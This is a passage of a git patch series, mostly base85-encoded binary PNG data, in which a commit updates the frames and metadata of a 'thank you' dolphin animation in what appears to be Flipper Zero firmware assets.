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 literal 4092 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 Date: Mon, 27 Mar 2023 05:30:40 +0100 Subject: [PATCH 279/329] Update thankyou animation --- .../internal/thank_you_128x64/frame_0.png | Bin 834 -> 5034 bytes .../internal/thank_you_128x64/frame_1.png | Bin 899 -> 5138 bytes .../internal/thank_you_128x64/frame_2.png | Bin 775 -> 5047 bytes .../internal/thank_you_128x64/frame_3.png | Bin 774 -> 4964 bytes .../internal/thank_you_128x64/frame_4.png | Bin 677 -> 5112 bytes .../internal/thank_you_128x64/frame_5.png | Bin 997 -> 5110 bytes .../internal/thank_you_128x64/frame_6.png | Bin 808 -> 0 bytes .../internal/thank_you_128x64/frame_7.png | Bin 738 -> 0 bytes .../internal/thank_you_128x64/frame_8.png | Bin 735 -> 0 bytes .../internal/thank_you_128x64/frame_9.png | Bin 246 -> 0 bytes .../dolphin/internal/thank_you_128x64/meta.txt | 4 ++-- 11 files changed, 2 insertions(+), 2 deletions(-) delete mode 100644 assets/dolphin/internal/thank_you_128x64/frame_6.png delete mode 100644 assets/dolphin/internal/thank_you_128x64/frame_7.png delete mode 100644 assets/dolphin/internal/thank_you_128x64/frame_8.png delete mode 100644 assets/dolphin/internal/thank_you_128x64/frame_9.png diff --git a/assets/dolphin/internal/thank_you_128x64/frame_0.png b/assets/dolphin/internal/thank_you_128x64/frame_0.png index 0e7f95c28c32cc110b786d47e2fb9bee63b6481b..596818f9c07778990d58411a79a0bbc07595b1ee 100644 GIT binary patch literal 5034 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 b)NOvhtm_o3jCD%uQdq delta 804 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 